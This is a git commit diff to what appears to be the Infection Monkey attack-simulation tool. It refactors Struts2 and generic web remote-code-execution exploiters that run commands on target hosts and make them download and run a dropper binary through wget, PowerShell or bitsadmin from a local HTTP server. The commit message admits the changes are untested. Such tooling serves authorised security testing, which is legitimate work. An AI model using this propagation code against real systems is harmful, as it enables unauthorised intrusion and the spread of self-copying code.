Almost all notes fixed, but nothing tested.
This commit is contained in:
parent
d1a29872c4
commit
5232d84e06
|
@ -12,7 +12,7 @@ import logging
|
|||
from exploit import HostExploiter
|
||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from tools import build_monkey_commandline, HTTPTools
|
||||
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
|
||||
from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
|
||||
DROPPER_ARG
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
DOWNLOAD_TIMEOUT = 300
|
||||
|
||||
# Commands used to check if monkeys already exists
|
||||
FIND_FILE = "ls %s"
|
||||
|
||||
class Struts2Exploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
|
||||
|
@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||
|
||||
def check_remote_file(self, host, path):
|
||||
command = EXISTS % path
|
||||
command = FIND_FILE % path
|
||||
resp = self.exploit(host, command)
|
||||
if 'No such file' in resp:
|
||||
return False
|
||||
|
@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
||||
|
||||
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||
command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
self.exploit(url, command)
|
||||
|
@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
# We need to double escape backslashes. Once for payload, twice for command
|
||||
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
||||
|
||||
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||
|
@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
|
||||
@staticmethod
|
||||
def check_exploit_windows(url):
|
||||
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
|
||||
if resp and ID_STRING in resp:
|
||||
if "64-bit" in resp:
|
||||
return "64"
|
||||
|
@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
|
||||
@staticmethod
|
||||
def check_exploit_linux(url):
|
||||
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
|
||||
if resp and ID_STRING in resp:
|
||||
# Pulls architecture string
|
||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||
|
|
|
@ -22,6 +22,7 @@ from network import local_ips
|
|||
from network.firewall import app as firewall
|
||||
from network.info import get_free_tcp_port, get_routes
|
||||
from transport import HTTPServer, LockedHTTPServer
|
||||
from threading import Lock
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
|
@ -387,9 +388,9 @@ class HTTPTools(object):
|
|||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with lock
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param lock: Instance of lock
|
||||
|
@ -397,6 +398,9 @@ class HTTPTools(object):
|
|||
:param local_port:
|
||||
:return:
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
|
@ -407,9 +411,10 @@ class HTTPTools(object):
|
|||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
|
@ -507,3 +512,30 @@ def get_binaries_dir_path():
|
|||
def get_monkey_depth():
|
||||
from config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(src_path):
|
||||
"""
|
||||
Gets destination path from source path.
|
||||
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from config import WormConfiguration
|
||||
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in src_path:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in src_path:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in src_path:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
||||
|
|
|
@ -6,12 +6,14 @@ from model import *
|
|||
from posixpath import join
|
||||
import re
|
||||
from abc import abstractmethod
|
||||
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path
|
||||
from network.tools import check_tcp_port, tcp_port_to_service
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
# Commands used to check if monkeys already exists
|
||||
LOOK_FOR_FILE = "ls %s"
|
||||
|
||||
|
||||
class WebRCE(HostExploiter):
|
||||
|
@ -101,12 +103,11 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
url_list = []
|
||||
if extensions:
|
||||
for idx, extension in enumerate(extensions):
|
||||
if '/' in extension[0]:
|
||||
extensions[idx] = extension[1:]
|
||||
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
|
||||
else:
|
||||
extensions = [""]
|
||||
for port in ports:
|
||||
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
|
||||
for extension in extensions:
|
||||
if port[1]:
|
||||
protocol = "https"
|
||||
|
@ -126,6 +127,7 @@ class WebRCE(HostExploiter):
|
|||
resp = self.exploit(url, ARCH_LINUX)
|
||||
if resp:
|
||||
# Pulls architecture string
|
||||
# TODO TEST IF NOT FOUND
|
||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||
arch = arch.group(1)
|
||||
if arch:
|
||||
|
@ -145,8 +147,8 @@ class WebRCE(HostExploiter):
|
|||
else:
|
||||
return False
|
||||
|
||||
def check_remote_file(self, url, path):
|
||||
command = EXISTS % path
|
||||
def check_remote_monkey_file(self, url, path):
|
||||
command = LOOK_FOR_FILE % path
|
||||
resp = self.exploit(url, command)
|
||||
if 'No such file' in resp:
|
||||
return False
|
||||
|
@ -163,36 +165,20 @@ class WebRCE(HostExploiter):
|
|||
if 'linux' in self.host.os['type']:
|
||||
paths.append(self._config.dropper_target_path_linux)
|
||||
else:
|
||||
paths.append(self._config.dropper_target_path_win_32)
|
||||
paths.append(self._config.dropper_target_path_win_64)
|
||||
paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64])
|
||||
for path in paths:
|
||||
if self.check_remote_file(url, path):
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_monkey_dest_path(self, src_path):
|
||||
"""
|
||||
Gets destination path from source path.
|
||||
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in src_path:
|
||||
return self._config.dropper_target_path_linux
|
||||
elif "windows-32" in src_path:
|
||||
return self._config.dropper_target_path_win_32
|
||||
else:
|
||||
return self._config.dropper_target_path_win_64
|
||||
except AttributeError:
|
||||
LOG.error("Seems like configuration properties names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
||||
|
||||
# Wrapped functions:
|
||||
def get_ports_w(self, ports, names):
|
||||
"""
|
||||
Get ports wrapped with log
|
||||
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
|
||||
:param names: [] of service names. Example: ["http"]
|
||||
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
|
||||
"""
|
||||
ports = WebRCE.get_open_service_ports(self.host, ports, names)
|
||||
if not ports:
|
||||
LOG.info("All default web ports are closed on %r, skipping", host)
|
||||
|
@ -223,15 +209,11 @@ class WebRCE(HostExploiter):
|
|||
return False
|
||||
# Determine which destination path to use
|
||||
LOG.debug("Monkey path found")
|
||||
lock = Lock()
|
||||
path = WebRCE.get_monkey_dest_path(self._config, src_path)
|
||||
path = get_monkey_dest_path(src_path)
|
||||
if not path:
|
||||
return False
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock.acquire()
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock)
|
||||
lock.acquire()
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
|
@ -252,7 +234,6 @@ class WebRCE(HostExploiter):
|
|||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
||||
resp = self.exploit(url, backup_command)
|
||||
lock.release()
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Uploading process finished")
|
||||
|
|
|
@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING
|
|||
ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||
ARCH_LINUX = "lscpu"
|
||||
|
||||
# Commands used to check if monkeys already exists
|
||||
EXISTS = "ls %s"
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300
|
Loading…
Reference in New Issue